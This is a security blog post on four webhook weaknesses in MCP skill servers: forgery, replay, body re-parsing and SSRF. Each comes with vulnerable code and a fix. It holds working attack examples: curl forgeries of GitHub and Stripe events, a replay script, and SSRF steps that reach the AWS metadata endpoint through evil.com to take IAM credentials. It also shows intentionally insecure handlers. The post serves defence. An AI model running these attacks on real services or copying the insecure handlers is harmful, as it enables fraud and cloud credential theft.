← Blog

Claude skill webhook security — SA-SKL-WEBHOOK

MCP skills that integrate with external services via webhooks — receiving GitHub push events, Stripe payment notifications, or CI/CD pipeline results — are exposed to four webhook-specific attack patterns: forged webhooks that trigger unauthorized skill actions, replay attacks that re-execute past events, body re-parsing that breaks HMAC signature verification, and SSRF via attacker-controlled webhook registration URLs. SA-SKL-WEBHOOK covers all four patterns with the cryptographic verification mechanics and correct defenses.

By SkillAudit  |  4 Nov 2026

The webhook attack surface in Claude MCP skills

Webhooks are unauthenticated HTTP POST endpoints by design — the sending service proves its identity through a shared HMAC secret embedded in a request header. When a skill accepts webhook deliveries without verifying that HMAC, any party that knows the endpoint URL can send arbitrary payloads. For skills that trigger audits, modify repositories, or process financial events on receipt of a webhook, a forged payload is equivalent to unauthenticated code execution.

The four SA-SKL-WEBHOOK patterns span the lifecycle of a webhook delivery: missing verification, timestamp-unbound replay, corrupted raw body for HMAC computation, and outbound SSRF via user-registered callback destinations.

SA-SKL-WEBHOOK in scope: WEBHOOK-001 (missing HMAC signature verification), WEBHOOK-002 (replay attack via missing timestamp check), WEBHOOK-003 (express.json() body re-parsing breaks HMAC), WEBHOOK-004 (SSRF via user-registered callback URL). Each pattern includes the attack mechanics, cryptographic verification code, and SkillAudit AST detection rules.

WEBHOOK-001 — Missing webhook signature verification

A skill that processes GitHub push events or Stripe payment webhooks without validating the X-Hub-Signature-256 or Stripe-Signature header accepts any POST body from any sender. An attacker who discovers the endpoint URL can forge audit triggers, inject payment events, or replay any action the webhook controls.

Vulnerable code

// webhookHandler.ts — no signature verification
import express from 'express';
import { triggerAudit } from './audit';

const app = express();
app.use(express.json());

// Accepts any POST — no X-Hub-Signature-256 check
app.post('/webhooks/github', async (req, res) => {
  const event = req.headers['x-github-event'];
  const payload = req.body;

  // Directly processes payload without verifying it came from GitHub
  if (event === 'push') {
    const { repository, ref } = payload;
    // Attacker can send any repoUrl + branch combination here
    await triggerAudit({
      repoUrl: repository.clone_url,
      branch: ref,
      triggeredBy: 'github_push',
    });
  }

  res.status(200).send('ok');
});

// Accepts any Stripe payment event without verification
app.post('/webhooks/stripe', async (req, res) => {
  const event = req.body;

  // No Stripe-Signature check — attacker can send fake payment.succeeded events
  if (event.type === 'checkout.session.completed') {
    const session = event.data.object;
    await db.subscriptions.activate({
      userId: session.metadata.userId,
      plan: session.metadata.plan,  // attacker sets this to 'enterprise'
    });
  }

  res.status(200).send('ok');
});

Attack: forged webhook triggers unauthorized audit run

#!/usr/bin/env bash # Attacker sends a forged GitHub push event to trigger an audit # on a victim's private repository (which the attacker cannot directly access) curl -s -X POST https://skillaudit.dev/webhooks/github \ -H "Content-Type: application/json" \ -H "X-GitHub-Event: push" \ -H "X-GitHub-Delivery: $(uuidgen)" \ -d '{ "ref": "refs/heads/main", "repository": { "clone_url": "https://github.com/victim/private-repo.git", "full_name": "victim/private-repo", "private": true }, "pusher": { "name": "attacker", "email": "attacker@evil.com" }, "commits": [{ "id": "abc123", "message": "Inject audit trigger" }] }' # Result: skill triggers an audit of victim/private-repo without authorization # Audit results are delivered to attacker-controlled Slack webhook (if configured) # Forged Stripe payment event — upgrade attacker account to enterprise for free curl -s -X POST https://skillaudit.dev/webhooks/stripe \ -H "Content-Type: application/json" \ -d '{ "type": "checkout.session.completed", "data": { "object": { "metadata": { "userId": "attacker-uid-123", "plan": "enterprise" }, "amount_total": 0 } } }' # Result: attacker account activated on enterprise plan at no cost

Fix: HMAC-SHA256 verification with timing-safe comparison

// webhookHandler.ts — correct signature verification
import express from 'express';
import crypto from 'crypto';
import Stripe from 'stripe';
import { triggerAudit } from './audit';

const app = express();
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!, { apiVersion: '2024-11-20' });

const GITHUB_WEBHOOK_SECRET = process.env.GITHUB_WEBHOOK_SECRET!;
const STRIPE_WEBHOOK_SECRET = process.env.STRIPE_WEBHOOK_SECRET!;

// GitHub HMAC-SHA256 verification
// CRITICAL: use express.raw() not express.json() for webhook routes
// (see WEBHOOK-003 for why express.json() breaks HMAC)
app.post('/webhooks/github',
  express.raw({ type: 'application/json' }),
  async (req, res) => {
    const rawBody = req.body as Buffer;
    const signature = req.headers['x-hub-signature-256'] as string;

    if (!signature) {
      return res.status(401).json({ error: 'missing signature' });
    }

    // Compute expected signature from raw bytes + shared secret
    const expectedSig = 'sha256=' + crypto
      .createHmac('sha256', GITHUB_WEBHOOK_SECRET)
      .update(rawBody)
      .digest('hex');

    // CRITICAL: use timingSafeEqual — string === comparison leaks timing info
    const sigBuffer = Buffer.from(signature);
    const expectedBuffer = Buffer.from(expectedSig);

    if (sigBuffer.length !== expectedBuffer.length ||
        !crypto.timingSafeEqual(sigBuffer, expectedBuffer)) {
      return res.status(401).json({ error: 'invalid signature' });
    }

    // Parse JSON only after signature is verified
    const payload = JSON.parse(rawBody.toString('utf8'));
    const event = req.headers['x-github-event'] as string;

    if (event === 'push') {
      const { repository, ref } = payload;
      await triggerAudit({
        repoUrl: repository.clone_url,
        branch: ref,
        triggeredBy: 'github_push',
      });
    }

    res.status(200).send('ok');
  }
);

// Stripe webhook — use stripe.webhooks.constructEvent() which handles
// HMAC verification, timestamp validation, and replay protection internally
app.post('/webhooks/stripe',
  express.raw({ type: 'application/json' }),
  async (req, res) => {
    const rawBody = req.body as Buffer;
    const signature = req.headers['stripe-signature'] as string;

    let event: Stripe.Event;
    try {
      // constructEvent verifies HMAC-SHA256 and checks timestamp (±5 min window)
      // Throws Stripe.errors.StripeSignatureVerificationError on failure
      event = stripe.webhooks.constructEvent(rawBody, signature, STRIPE_WEBHOOK_SECRET);
    } catch (err) {
      return res.status(401).json({ error: 'webhook signature verification failed' });
    }

    if (event.type === 'checkout.session.completed') {
      const session = event.data.object as Stripe.Checkout.Session;
      await db.subscriptions.activate({
        userId: session.metadata!.userId,
        plan: session.metadata!.plan,
      });
    }

    res.status(200).send('ok');
  }
);

Never use === to compare HMAC signatures. String equality is not constant-time in JavaScript. An attacker who can measure response latency to microsecond precision can recover the expected signature one byte at a time. Always use crypto.timingSafeEqual(), which is implemented in native code with guaranteed constant-time execution.

HIGH
SA-SKL-WEBHOOK-001 — Webhook endpoint processes payloads without verifying the HMAC signature header (X-Hub-Signature-256 or Stripe-Signature), allowing any sender to forge events that trigger audit runs, payment activations, or other skill actions. Fix: compute HMAC-SHA256 over the raw request body using the shared secret and compare with crypto.timingSafeEqual(); for Stripe use stripe.webhooks.constructEvent(). Detection: SkillAudit AST rule flags Express route handlers for paths matching /webhook that read req.body without a preceding call to crypto.createHmac or stripe.webhooks.constructEvent.

WEBHOOK-002 — Webhook replay attack via missing timestamp validation

HMAC signature verification proves the payload was signed by the webhook secret at some point, but it does not prove the delivery is current. An attacker who captures a legitimate webhook delivery — from a network tap, a leaked log line, or a compromised intermediary — can replay it hours or days later. Each replay executes the same action as the original event.

Vulnerable code: signature checked, timestamp ignored

// webhookHandler.ts — verifies HMAC but ignores delivery timestamp import express from 'express'; import crypto from 'crypto'; app.post('/webhooks/github', express.raw({ type: 'application/json' }), async (req, res) => { const rawBody = req.body as Buffer; const signature = req.headers['x-hub-signature-256'] as string; // Signature check is present — but timestamp is never validated const expectedSig = 'sha256=' + crypto .createHmac('sha256', process.env.GITHUB_WEBHOOK_SECRET!) .update(rawBody) .digest('hex'); if (!crypto.timingSafeEqual(Buffer.from(signature), Buffer.from(expectedSig))) { return res.status(401).json({ error: 'invalid signature' }); } // No check: when was this event created? Is X-GitHub-Delivery a known ID? const payload = JSON.parse(rawBody.toString('utf8')); // A replay of a 3-day-old push event will pass and trigger a new audit if (req.headers['x-github-event'] === 'push') { await triggerAudit({ repoUrl: payload.repository.clone_url, branch: payload.ref, }); } res.status(200).send('ok'); } );

Attack: captured delivery replayed days later

#!/usr/bin/env python3 # Attacker captures a legitimate webhook delivery (e.g., from server logs, # network tap, or a compromised CI runner that logged the raw request). # Replays it after the original event is no longer relevant. import httpx import json # Captured from server access log or leaked curl request CAPTURED_BODY = b'''{ "ref": "refs/heads/main", "repository": { "clone_url": "https://github.com/victim/repo.git", "full_name": "victim/repo" }, "commits": [{"id": "deadbeef", "message": "original commit from 3 days ago"}], "pusher": {"name": "legitimate-user"} }''' # Original valid signature — still valid because HMAC covers body, not time CAPTURED_SIGNATURE = "sha256=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" CAPTURED_DELIVERY_ID = "12345678-aaaa-bbbb-cccc-123456789abc" response = httpx.post( "https://skillaudit.dev/webhooks/github", content=CAPTURED_BODY, headers={ "Content-Type": "application/json", "X-Hub-Signature-256": CAPTURED_SIGNATURE, # still valid! "X-GitHub-Event": "push", "X-GitHub-Delivery": CAPTURED_DELIVERY_ID, } ) print(f"Status: {response.status_code}") # 200 OK — replay succeeds, audit triggered again on 3-day-old commit # If the original push triggered a deployment, this replays the deployment

Fix: validate payload timestamp and deduplicate delivery IDs

// webhookHandler.ts — replay protection via timestamp check + delivery ID dedup import express from 'express'; import crypto from 'crypto'; import { createClient } from 'redis'; const redis = createClient({ url: process.env.REDIS_URL }); await redis.connect(); const GITHUB_WEBHOOK_SECRET = process.env.GITHUB_WEBHOOK_SECRET!; const MAX_DELIVERY_AGE_MS = 5 * 60 * 1000; // 5-minute window app.post('/webhooks/github', express.raw({ type: 'application/json' }), async (req, res) => { const rawBody = req.body as Buffer; const signature = req.headers['x-hub-signature-256'] as string; const deliveryId = req.headers['x-github-delivery'] as string; // 1. Verify HMAC signature if (!signature || !deliveryId) { return res.status(401).json({ error: 'missing required headers' }); } const expectedSig = 'sha256=' + crypto .createHmac('sha256', GITHUB_WEBHOOK_SECRET) .update(rawBody) .digest('hex'); if (!crypto.timingSafeEqual(Buffer.from(signature), Buffer.from(expectedSig))) { return res.status(401).json({ error: 'invalid signature' }); } // 2. Parse payload and validate timestamp const payload = JSON.parse(rawBody.toString('utf8')); // GitHub includes repository.pushed_at (Unix timestamp) in push events // Other event types use different timestamp fields const pushedAt = payload.repository?.pushed_at; if (pushedAt) { const eventAgeMs = Date.now() - pushedAt * 1000; if (Math.abs(eventAgeMs) > MAX_DELIVERY_AGE_MS) { return res.status(401).json({ error: 'webhook delivery too old', maxAgeSeconds: MAX_DELIVERY_AGE_MS / 1000, }); } } // 3. Deduplicate delivery IDs using Redis SET with TTL // Redis SET NX (set if not exists) is atomic — no race condition const dedupKey = `webhook:delivery:${deliveryId}`; const isNew = await redis.set(dedupKey, '1', { NX: true, // only set if key does not exist EX: Math.ceil(MAX_DELIVERY_AGE_MS / 1000) * 2, // TTL = 2× window }); if (!isNew) { // Delivery ID already processed — this is a replay return res.status(409).json({ error: 'duplicate delivery' }); } // 4. Process event — signature verified, timestamp valid, ID not replayed const event = req.headers['x-github-event'] as string; if (event === 'push') { await triggerAudit({ repoUrl: payload.repository.clone_url, branch: payload.ref, deliveryId, }); } res.status(200).send('ok'); } );

Stripe handles replay protection automatically: stripe.webhooks.constructEvent() validates the t= timestamp embedded in the Stripe-Signature header and rejects deliveries older than 5 minutes by default. For GitHub and custom webhooks, you must implement timestamp validation and delivery ID deduplication manually as shown above.

HIGH
SA-SKL-WEBHOOK-002 — Webhook handler verifies HMAC signature but does not validate the payload timestamp or deduplicate delivery IDs, allowing an attacker to replay any captured valid delivery indefinitely. Fix: check that pushed_at or equivalent timestamp is within a 5-minute window of the current time; use Redis SET NX to store and reject duplicate X-GitHub-Delivery UUIDs. Detection: SkillAudit flags webhook handlers that call crypto.timingSafeEqual without a subsequent Date.now() comparison against a payload timestamp field.

WEBHOOK-003 — express.json() body re-parsing breaks HMAC verification

HMAC signature verification requires the exact raw bytes of the HTTP request body — every byte, in order, with no transformation. When express.json() is applied globally before the webhook route, Express parses the body into a JavaScript object and discards the original Buffer. Reconstructing the raw bytes from JSON.stringify(req.body) produces a different byte sequence: different key ordering, collapsed whitespace, different Unicode escape handling. The HMAC check fails on every legitimate delivery.

When this HMAC failure causes developers to disable or loosen signature verification, the door is open for WEBHOOK-001 all over again — now with a seemingly plausible justification (“the GitHub signature never matches”).

Vulnerable code: express.json() applied globally

// server.ts — express.json() global middleware corrupts webhook body import express from 'express'; import crypto from 'crypto'; const app = express(); // WRONG: express.json() is applied to ALL routes including /webhooks/github // This parses the raw body Buffer into a JS object before the route handler runs app.use(express.json()); app.post('/webhooks/github', async (req, res) => { const signature = req.headers['x-hub-signature-256'] as string; // req.body is now a parsed JS object, NOT the original raw Buffer // Attempting to reconstruct raw bytes from JSON.stringify() will fail: const reconstructed = JSON.stringify(req.body); // JSON.stringify() does NOT preserve: // - Original whitespace and newlines in the JSON // - Property insertion order (may differ from GitHub's serialization) // - Unicode escape sequences (e.g., "A" vs "A") // - Trailing newlines or CR/LF line endings const expectedSig = 'sha256=' + crypto .createHmac('sha256', process.env.GITHUB_WEBHOOK_SECRET!) .update(reconstructed) // WRONG: re-serialized bytes != original bytes .digest('hex'); // This comparison will ALWAYS fail for legitimate GitHub deliveries if (!crypto.timingSafeEqual(Buffer.from(signature), Buffer.from(expectedSig))) { // Developer sees this fail in logs and "fixes" it by removing the check // return res.status(401).json({ error: 'invalid signature' }); console.warn('signature mismatch — skipping check for now'); // INSECURE BYPASS } // ... rest of handler processes unverified payload });

Demonstrating the byte mismatch

// scripts/demonstrateMismatch.ts — shows why re-serialization fails const original = Buffer.from( '{"ref":"refs/heads/main","repository":{"id":1,"name":"repo"}}\n' ); // GitHub sends a trailing newline in the body // After express.json() parses and req.body is reconstructed with JSON.stringify: const reparsed = JSON.stringify(JSON.parse(original.toString('utf8'))); // reparsed: '{"ref":"refs/heads/main","repository":{"id":1,"name":"repo"}}' // Note: trailing \n is gone — the HMAC will never match console.log('Original bytes:', original.length); // 63 bytes console.log('Reparsed bytes:', reparsed.length); // 62 bytes — missing \n console.log('Match:', original.toString() === reparsed); // false // GitHub's actual payloads have: // - Spaces after colons and commas (GitHub formats JSON) // - Trailing newline // - Specific key ordering from their serializer // JSON.stringify() on the parsed object produces none of these

Fix: use express.raw() for webhook routes; express.json() only on other routes

// server.ts — correct body parser scoping for webhook routes import express from 'express'; import crypto from 'crypto'; const app = express(); // DO NOT apply express.json() globally when you have webhook routes. // Instead, apply parsers selectively per route. // All non-webhook API routes: use express.json() normally app.use('/api', express.json()); // Webhook routes: express.raw() preserves the original byte Buffer // express.raw() sets req.body to a Buffer containing the unmodified request body app.post('/webhooks/github', express.raw({ type: 'application/json' }), // preserves raw bytes async (req, res) => { // req.body is a Buffer — the exact bytes sent by GitHub const rawBody = req.body as Buffer; const signature = req.headers['x-hub-signature-256'] as string; if (!signature) { return res.status(401).json({ error: 'missing signature' }); } // HMAC computed from the original raw bytes — matches GitHub's computation const expectedSig = 'sha256=' + crypto .createHmac('sha256', process.env.GITHUB_WEBHOOK_SECRET!) .update(rawBody) // correct: original Buffer, not re-serialized string .digest('hex'); const sigBuffer = Buffer.from(signature); const expectedBuffer = Buffer.from(expectedSig); if (sigBuffer.length !== expectedBuffer.length || !crypto.timingSafeEqual(sigBuffer, expectedBuffer)) { return res.status(401).json({ error: 'invalid signature' }); } // Parse JSON only after signature verification succeeds // rawBody is a Buffer — convert to string then parse const payload = JSON.parse(rawBody.toString('utf8')); // Now safe to process the verified payload if (req.headers['x-github-event'] === 'push') { await triggerAudit({ repoUrl: payload.repository.clone_url, branch: payload.ref, }); } res.status(200).send('ok'); } ); // Alternative: if you must use express.json() globally (legacy codebase), // capture the raw body in a custom middleware before express.json() runs: app.use((req, res, next) => { let data = Buffer.alloc(0); req.on('data', (chunk: Buffer) => { data = Buffer.concat([data, chunk]); }); req.on('end', () => { (req as any).rawBody = data; // stash raw bytes before json() parses them next(); }); }); // Then in webhook handler: use req.rawBody instead of req.body for HMAC

The order of middleware registration matters: In Express, app.use(express.json()) before app.post('/webhooks/github', express.raw(...), handler) means the global express.json() runs first and consumes the body stream. express.raw() on the route level cannot re-read a stream that has already been consumed. The selective-use pattern above avoids app.use(express.json()) globally entirely.

HIGH
SA-SKL-WEBHOOK-003 — Global express.json() middleware consumes and parses the raw request body before the webhook route handler runs; subsequent HMAC computation over JSON.stringify(req.body) produces different bytes than GitHub sent, causing signature verification to always fail. Developers then disable the check, leaving the endpoint unprotected. Fix: scope express.json() to /api/* routes only; apply express.raw({ type: 'application/json' }) as route-level middleware on all webhook endpoints. Detection: SkillAudit flags routes registered under a path containing webhook where the global middleware chain includes express.json() without a corresponding route-level express.raw() override.

WEBHOOK-004 — SSRF via attacker-controlled webhook callback URL

Many MCP skills allow users to register a webhook URL to receive audit completion notifications, CI/CD results, or scan reports. When the skill POSTs results to that URL without validating the destination, an attacker registers an internal AWS metadata URL or an internal service address as their “callback”. The skill becomes a confused deputy — making HTTP requests on the attacker’s behalf to destinations it would normally never reach.

Vulnerable code: unvalidated webhook callback URL

// notifyWebhook.ts — no URL validation before POSTing to user-provided destination import { db } from './db'; export async function notifyAuditComplete( userId: string, auditResult: AuditResult ): Promise { const user = await db.users.findById(userId); const webhookUrl = user.webhookUrl; // set by user via settings API, unvalidated if (!webhookUrl) return; // VULNERABLE: fetch() makes an HTTP request to any URL the user configured // No scheme check, no IP validation, no hostname allowlist const response = await fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ event: 'audit.completed', auditId: auditResult.id, severity: auditResult.highestSeverity, findingCount: auditResult.findings.length, }), }); await db.webhookDeliveries.create({ userId, url: webhookUrl, statusCode: response.status, // Note: response body is not logged — but the request was still made }); }

Attack: SSRF to AWS instance metadata service

#!/usr/bin/env bash # 1. Attacker registers their account with a metadata endpoint as the webhook URL curl -s -X PATCH https://skillaudit.dev/api/settings \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"webhookUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' # 2. Trigger an audit to completion (or wait for a scheduled scan) curl -s -X POST https://skillaudit.dev/api/skill/audit_repository \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"repoUrl": "https://github.com/attacker/dummy-repo"}' # 3. The skill POSTs audit results to 169.254.169.254 — the metadata endpoint # returns the IAM role name in the response (which is discarded in the POST), # but the SSRF also works via redirects: # More impactful SSRF: register a URL that redirects to metadata # Attacker controls evil.com and sets up a 302 redirect: # Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name curl -s -X PATCH https://skillaudit.dev/api/settings \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -d '{"webhookUrl": "https://evil.com/redirect-to-metadata"}' # When the skill follows the redirect, it fetches the IAM credentials # fetch() follows redirects by default — the response body contains: # {"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"...","Expiration":"..."}

Fix: SSRF validation on webhook URLs before registration and before delivery

// webhookValidator.ts — validate webhook URLs against SSRF blocklist import dns from 'dns/promises'; import ipaddr from 'ipaddr.js'; // npm install ipaddr.js // RFC 1918 private ranges + link-local + loopback const BLOCKED_CIDRS = [ '10.0.0.0/8', // RFC 1918 class A '172.16.0.0/12', // RFC 1918 class B '192.168.0.0/16', // RFC 1918 class C '169.254.0.0/16', // link-local (AWS/GCP/Azure metadata) '127.0.0.0/8', // loopback '0.0.0.0/8', // "this" network '100.64.0.0/10', // shared address space (RFC 6598) 'fc00::/7', // IPv6 unique local 'fe80::/10', // IPv6 link-local '::1/128', // IPv6 loopback ].map(cidr => ipaddr.parseCIDR(cidr)); export class WebhookUrlValidationError extends Error { constructor(message: string) { super(message); this.name = 'WebhookUrlValidationError'; } } export async function validateWebhookUrl(rawUrl: string): Promise { let parsed: URL; try { parsed = new URL(rawUrl); } catch { throw new WebhookUrlValidationError('Invalid URL format'); } // 1. Only allow HTTPS — reject http://, file://, ftp://, data://, etc. if (parsed.protocol !== 'https:') { throw new WebhookUrlValidationError( `Webhook URL must use HTTPS; got scheme: ${parsed.protocol}` ); } // 2. Reject URLs with userinfo (http://user:pass@host — often used to bypass filters) if (parsed.username || parsed.password) { throw new WebhookUrlValidationError('Webhook URL must not include credentials'); } // 3. Reject numeric IP addresses directly (avoid DNS resolution for static IPs) const hostname = parsed.hostname; if (ipaddr.isValid(hostname)) { checkIpAgainstBlocklist(hostname, rawUrl); return; // Static IP passed blocklist check } // 4. Resolve hostname to IP(s) and check each against the blocklist // This prevents bypasses like "localhost.evil.com" resolving to 127.0.0.1 let addresses: string[]; try { const resolved = await dns.resolve4(hostname).catch(() => []); const resolved6 = await dns.resolve6(hostname).catch(() => []); addresses = [...resolved, ...resolved6]; } catch { throw new WebhookUrlValidationError(`Could not resolve hostname: ${hostname}`); } if (addresses.length === 0) { throw new WebhookUrlValidationError(`Hostname does not resolve: ${hostname}`); } for (const ip of addresses) { checkIpAgainstBlocklist(ip, rawUrl); } } function checkIpAgainstBlocklist(ip: string, originalUrl: string): void { let parsed: ipaddr.IPv4 | ipaddr.IPv6; try { parsed = ipaddr.parse(ip); } catch { throw new WebhookUrlValidationError(`Invalid IP address: ${ip}`); } for (const [network, prefix] of BLOCKED_CIDRS) { if (parsed.kind() === network.kind() && parsed.match([network, prefix])) { throw new WebhookUrlValidationError( `Webhook URL resolves to a blocked IP range (${ip}): ${originalUrl}` ); } } } // Use in settings API: validate at registration time app.patch('/api/settings', authMiddleware, async (req, res) => { const { webhookUrl } = req.body; if (webhookUrl !== undefined) { if (webhookUrl !== null) { try { await validateWebhookUrl(webhookUrl); } catch (err) { if (err instanceof WebhookUrlValidationError) { return res.status(400).json({ error: err.message }); } throw err; } } await db.users.update(req.user!.id, { webhookUrl: webhookUrl ?? null }); } res.json({ ok: true }); }); // Also validate at delivery time — DNS rebinding can change resolution after registration // notifyWebhook.ts import { validateWebhookUrl, WebhookUrlValidationError } from './webhookValidator'; export async function notifyAuditComplete(userId: string, auditResult: AuditResult) { const user = await db.users.findById(userId); const webhookUrl = user.webhookUrl; if (!webhookUrl) return; // Re-validate at delivery time to defend against DNS rebinding try { await validateWebhookUrl(webhookUrl); } catch (err) { await db.webhookDeliveries.create({ userId, url: webhookUrl, statusCode: 0, error: err instanceof WebhookUrlValidationError ? err.message : 'validation_error', }); return; } // Deliver with redirect following disabled const response = await fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, redirect: 'error', // never follow redirects — SSRF via redirect chains body: JSON.stringify({ event: 'audit.completed', auditId: auditResult.id }), }); }

Validate at delivery time too, not just registration. DNS rebinding attacks work by having evil.com initially resolve to a legitimate external IP (passing the blocklist check at registration time), then changing the DNS record to point to 169.254.169.254 before the first delivery arrives. Re-validating the URL immediately before each fetch() closes this window. Also set redirect: 'error' to prevent redirect-chain SSRF bypasses. See SA-SKL-SSRF2 for the full IP blocklist and additional bypass techniques.

HIGH
SA-SKL-WEBHOOK-004 — Skill POSTs audit results to a user-configured callback URL without validating the destination against RFC 1918, link-local (169.254.0.0/16), and loopback ranges, enabling SSRF to cloud instance metadata endpoints, internal services, and lateral movement within the VPC. Fix: resolve the hostname and check all returned IPs against a CIDR blocklist using ipaddr.js at both registration and delivery time; set redirect: 'error' in fetch() to block redirect-chain bypasses. Detection: SkillAudit AST rule flags any fetch() or axios.post() call where the URL is derived from a database field (e.g., user.webhookUrl, settings.callbackUrl) without an intervening validateWebhookUrl or equivalent SSRF guard function.

SA-SKL-WEBHOOK summary findings

Finding ID Severity Pattern Root cause
SA-SKL-WEBHOOK-001 HIGH Missing HMAC signature verification Webhook endpoint processes any POST body without verifying X-Hub-Signature-256 or Stripe-Signature. Fix: crypto.createHmac('sha256', secret).update(rawBody).digest('hex') compared via crypto.timingSafeEqual(); use stripe.webhooks.constructEvent() for Stripe.
SA-SKL-WEBHOOK-002 HIGH Webhook replay attack via missing timestamp check HMAC-verified payloads can be replayed indefinitely if delivery timestamp is not validated and delivery ID is not deduplicated. Fix: reject payloads older than 5 minutes; use Redis SET NX to deduplicate X-GitHub-Delivery IDs with TTL.
SA-SKL-WEBHOOK-003 HIGH express.json() re-parsing breaks HMAC verification Global express.json() middleware consumes the raw body stream; JSON.stringify(req.body) does not reproduce the original bytes, causing HMAC verification to always fail. Fix: scope express.json() away from webhook routes; use express.raw({ type: 'application/json' }) on webhook handlers.
SA-SKL-WEBHOOK-004 HIGH SSRF via user-registered webhook callback URL Skill POSTs to user-configured URL without IP/CIDR validation, enabling SSRF to cloud metadata endpoints and internal services. Fix: resolve hostname and check all IPs against RFC 1918 / link-local blocklist using ipaddr.js; re-validate at delivery time; set redirect: 'error'.

SkillAudit detects all four SA-SKL-WEBHOOK patterns through static analysis of your MCP skill’s Express route handlers, body parser configuration, and outbound HTTP call sites. Run a full audit at skillaudit.dev.